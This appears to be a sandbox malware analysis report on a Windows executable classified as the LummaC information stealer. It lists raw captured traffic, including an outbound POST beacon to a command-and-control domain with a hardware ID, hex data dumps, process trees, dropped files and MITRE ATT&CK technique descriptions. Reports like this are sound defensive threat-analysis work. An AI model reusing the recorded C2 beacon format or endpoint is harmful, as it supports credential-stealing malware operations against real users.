2024-12-28 08:48:47 UTC	15331	OUT	Data Raw: 9f 0a dc f6 85 5e c5 80 34 54 f9 ab 91 7c 5d 0a 5c 29 56 db 4a ef 0b 53 ad a9 72 40 7a e3 87 06 29 70 cd af 0b 45 79 f3 81 54 70 a8 91 b0 30 aa ff f3 ad d8 f3 fa d7 4f 0d a9 02 a2 e3 d3 ac 37 2d df de 1c 56 33 5d 22 ec ba c9 fa b3 14 21 39 af aa 27 fa 43 5c ee fe 64 9c eb c4 87 b1 ca 3d f1 0d 6f 1a 37 8a d9 fd 4d 11 e8 3c b3 4b 97 66 cd b3 d7 53 e4 9e f4 cc b5 6d 6f 58 4b 45 31 d6 09 83 fe fb b1 51 26 62 f5 b4 3e cb 6e 30 bf f1 6c c7 ff ae dc be ed b0 3d 11 1c dc ee a9 7a e3 ce 0f d0 05 78 cc ed 91 ea 77 45 40 02 69 a1 a0 d9 4c 16 be 87 8d 01 19 f1 38 7b 24 31 80 db 80 ea c4 6b a6 c2 50 1b 03 45 0f 9c 09 9c bf 01 5e 3b 26 13 e8 78 a1 d2 b6 9e ec 4d 35 f2 e5 14 61 b5 c6 c0 58 a0 96 5a e2 94 bb 40 5e ca c3 9c 5b b3 3c 04 f0 67 5a 69 3e b2 30 81 d8 d6 c2 e9 Data Ascii: ^4T\|]\)VJSr@z)pEyTp0O7-V3]"!9'C\d=o7M<KfSmoXKE1Q&b>n0l=zxwE@iL8{$1kPE^;&xM5aXZ@^[<gZi>0
2024-12-28 08:48:47 UTC	15331	OUT	Data Raw: ee ed 4f a2 1d 8e e6 c4 1b 0a ae ca 8c da 2d 62 2c 89 f1 0e 11 2a ed 08 12 c2 c2 24 6b e1 87 cc 7b 7f fc b2 7e 1c 41 17 35 78 0e e4 f8 18 0b ce 1f 44 e4 bd 22 96 8f 24 5a 13 13 69 36 ee 82 e7 27 c8 de a7 46 6b 77 39 4d 8c 3b ad a4 5c f8 38 a9 25 5a d1 d1 6f d4 ae 5a f6 0f 9d d4 b7 ef 88 0e 14 c0 89 b8 a1 02 29 d2 ce 45 05 81 db ce 2b d7 d7 29 c3 1b b8 27 75 9d d6 68 f2 73 ae 2f 75 e1 e5 d0 03 75 fd 15 42 73 fb f3 63 20 66 21 b0 59 38 0a 89 07 78 11 33 3d 74 d6 05 4d bd 22 55 9e ab 3f df 31 79 f0 9f a1 af d6 a2 f8 f9 e0 94 5c 05 5e 9d 5a 64 95 6d 56 07 92 64 5e 74 79 03 cd f0 bd f0 3b 59 0c bc 34 51 9f be 94 9d 20 28 42 5b ac c4 fa 1c 5d 61 a0 4d 7d 29 8f 3e a7 73 dd 30 92 0b c3 86 d2 26 8e 7a 7b 6b 6f f8 2e 15 bd 4a 7f 1f 88 09 ad 35 3a 0f 1c 30 80 35 ed Data Ascii: O-b,*$k{~A5xD"$Zi6'Fkw9M;\8%ZoZ)E+)'uhs/uuBsc f!Y8x3=tM"U?1y\^ZdmVd^ty;Y4Q (B[]aM})>s0&z{ko.J5:05
2024-12-28 08:48:47 UTC	15331	OUT	Data Raw: 96 30 ed 0c 08 5b 59 68 6b 0c bd 70 a2 16 c7 a7 3d ac de 9c 13 fa 29 64 58 2f f8 11 26 7a 85 20 b0 6d b3 be 61 38 46 9b 66 5a c1 a4 8b a1 e8 b9 0a c1 f6 14 ee 77 59 8f d1 06 01 fe 68 20 ca ae d6 2f c3 c4 60 1d 62 64 f6 8f 7c 86 a3 40 d4 49 8b f7 fa 65 f1 7f 3f b4 10 90 ce 38 12 24 bb 69 47 fc 52 56 50 5f 2b 0f 3a 3e e0 d0 30 4c 9d de 38 5d 27 8a a5 27 3d 47 e6 3c 24 97 b2 7f 48 7a 98 65 56 13 ba 6c 0b 87 21 f9 2b 1c b3 cc 4d dd 56 48 a8 08 64 8d e2 56 d8 80 0b 98 c5 63 48 cb 32 c8 fb 60 f2 f7 61 3a be 7f b4 14 c5 92 40 ec c5 e6 cd dd b0 8a 61 1d d8 fa b6 42 a9 9e 78 77 b5 91 c0 b3 26 d0 5f 4a 5d 66 84 3e 6d 03 c4 d4 88 58 e1 95 90 8a f8 95 83 5a b6 57 f8 ef 2a 3f c4 6e 49 ac ef 91 e1 51 73 6f 51 11 4d db fe d0 c8 d0 69 81 62 cb 56 cc 21 37 cd 2b 98 2e 28 Data Ascii: 0[Yhkp=)dX/&z ma8FfZwYh /`bd\|@Ie?8$iGRVP_+:>0L8]''=G<$HzeVl!+MVHdVcH2`a:@aBxw&_J]f>mXZW*?nIQsoQMibV!7+.(
2024-12-28 08:48:47 UTC	15331	OUT	Data Raw: 93 ef 11 21 52 c0 7e 9c d7 a8 5f 55 26 9c fd bd 90 bc b4 e2 76 0c e0 6d f0 53 7c 40 72 6e 45 8c fb be 3c be 87 97 15 54 eb 88 d9 11 87 43 21 ce 58 ca c2 d9 1d a0 d3 32 ff 68 e8 cf be 30 55 70 49 87 2a 0c cc de ee d0 3f ea ff 63 ab 69 7f bc cb 35 f6 8f 17 22 1a e0 d4 ba ed 3e dc 6e 40 f8 bb 12 81 44 c8 e5 07 ba ab d1 ee f7 1f 90 8f c2 3f d0 58 cf aa b8 0f 71 58 e0 29 fc 56 2e e1 14 f9 3e 48 88 23 85 87 1e 99 59 0b 7e 80 09 a6 f2 1f cd 6f e2 a3 98 99 14 73 ed d7 2d f4 65 24 46 79 99 d9 7b 0b 5a dd 0d 2e 2d 46 4a f9 69 7d b7 72 11 b2 11 19 31 8e c5 2e 3d 3d 2d fa 39 38 1c 47 9d 53 5e ab 28 08 9d b7 6a a9 d6 47 f0 d9 83 ab 38 73 c0 ce 41 e0 8f 2f e4 f2 6c 1d ed 10 9f 7f fe 8f fe 42 c1 55 75 d0 e9 1e 8b 76 15 5a d0 9c a9 df c2 b2 f0 1b 97 67 12 f3 45 16 c9 47 Data Ascii: !R~_U&vmS\|@rnE<TC!X2h0UpI*?ci5">n@D?XqX)V.>H#Y~os-e$Fy{Z.-FJi}r1.==-98GS^(jG8sA/lBUuvZgEG
2024-12-28 08:48:51 UTC	1133	IN	HTTP/1.1 200 OK Date: Sat, 28 Dec 2024 08:48:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=kldfhuv2gk7jadcp1pfvu1s1qc; expires=Wed, 23 Apr 2025 02:35:28 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IhRtRkrVb4nzoYpm%2F8TjUxYkl3tJF1jGU3mymcYIWReacI2ElbIo6YvR0wEjo3%2BG8C3hE%2BrXK4IJO7on3HMnLTD3m92s%2BKVTRBh4jDMuWc82Zm59rezenAxUuaYKN0VwaQk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f904b1a0a7f438b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1613&min_rtt=1608&rtt_var=613&sent=368&recv=598&lost=0&retrans=0&sent_bytes=2834&recv_bytes=572522&delivery_rate=1770770&cwnd=169&unsent_bytes=0&cid=33dfafc04be6d590&ts=3823&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.11	49776	104.21.66.86	443	7860	C:\Users\user\Desktop\v5Evrl41VR.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-28 08:48:52 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 88 Host: lev-tolstoi.com
2024-12-28 08:48:52 UTC	88	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d 26 68 77 69 64 3d 37 30 42 43 44 39 38 45 42 36 31 33 34 46 44 44 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--LiveTraffic&j=&hwid=70BCD98EB6134FDDBEBA0C6A975F1733
2024-12-28 08:48:53 UTC	1123	IN	HTTP/1.1 200 OK Date: Sat, 28 Dec 2024 08:48:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=tvicc6ien58jjacb9l3nmojfl5; expires=Wed, 23 Apr 2025 02:35:31 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iyR6Um1dVtjQV2qO%2FyP4no9ok7RFq8qyyeDNINlNaFpHQrbLFUHQxi4NeiFkppSpR66nszisajjwlUQlAIHfyhjMT89hcalBea2OsBU8sv73QLvP%2BMqQyYpnUK0RP%2B42e3M%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f904b3a1bee8ca8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1784&min_rtt=1775&rtt_var=685&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2835&recv_bytes=987&delivery_rate=1575822&cwnd=162&unsent_bytes=0&cid=1f0d1efcdd8fb637&ts=649&x=0"
2024-12-28 08:48:53 UTC	210	IN	Data Raw: 63 63 0d 0a 4e 42 4b 38 4f 41 51 47 58 50 6b 44 48 4b 54 6e 50 38 38 66 52 62 50 52 36 79 75 69 56 42 64 6c 46 6d 6f 72 4a 2b 54 68 4a 6f 4e 76 61 5a 35 4e 4a 6a 78 2b 6b 58 64 6f 31 4e 31 6a 34 45 4e 71 67 75 6e 65 42 5a 42 6c 49 6b 73 6e 57 78 67 4a 31 64 64 36 72 46 74 30 32 6d 51 72 59 6a 6d 66 4c 58 6e 63 67 68 33 6a 50 53 50 48 38 39 45 62 6a 6e 5a 79 52 79 78 62 56 67 75 66 77 31 4f 68 44 6a 44 55 54 48 42 32 5a 71 55 73 51 49 76 57 42 2f 6f 78 64 34 4c 6b 78 52 71 54 5a 7a 6c 55 49 44 59 45 53 49 4b 48 65 71 78 51 64 39 6f 57 59 58 34 35 32 79 38 2b 77 70 4d 64 39 53 39 70 6b 62 54 4a 45 5a 49 70 53 67 3d 3d 0d 0a Data Ascii: ccNBK8OAQGXPkDHKTnP88fRbPR6yuiVBdlFmorJ+ThJoNvaZ5NJjx+kXdo1N1j4ENqguneBZBlIksnWxgJ1dd6rFt02mQrYjmfLXncgh3jPSPH89EbjnZyRyxbVgufw1OhDjDUTHB2ZqUsQIvWB/oxd4LkxRqTZzlUIDYESIKHeqxQd9oWYX452y8+wpMd9S9pkbTJEZIpSg==
2024-12-28 08:48:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	03:48:24
Start date:	28/12/2024
Path:	C:\Users\user\Desktop\v5Evrl41VR.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\v5Evrl41VR.exe"
Imagebase:	0x500000
File size:	2'940'416 bytes
MD5 hash:	438B2909DABCB5F50D7F5F7812420FD6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	03:49:04
Start date:	28/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=v5Evrl41VR.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff6a3150000
File size:	3'242'272 bytes
MD5 hash:	83395EAB5B03DEA9720F8D7AC0D15CAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	03:49:04
Start date:	28/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2092 --field-trial-handle=1976,i,11847883741376242636,13624544470231846416,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff6a3150000
File size:	3'242'272 bytes
MD5 hash:	83395EAB5B03DEA9720F8D7AC0D15CAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	03:49:06
Start date:	28/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=v5Evrl41VR.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff74a480000
File size:	3'242'272 bytes
MD5 hash:	83395EAB5B03DEA9720F8D7AC0D15CAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	03:49:07
Start date:	28/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2036 --field-trial-handle=1928,i,13811161353852396397,13464806499312463591,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff6a3150000
File size:	3'242'272 bytes
MD5 hash:	83395EAB5B03DEA9720F8D7AC0D15CAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report v5Evrl41VR.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Windows Analysis Report
v5Evrl41VR.exe

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre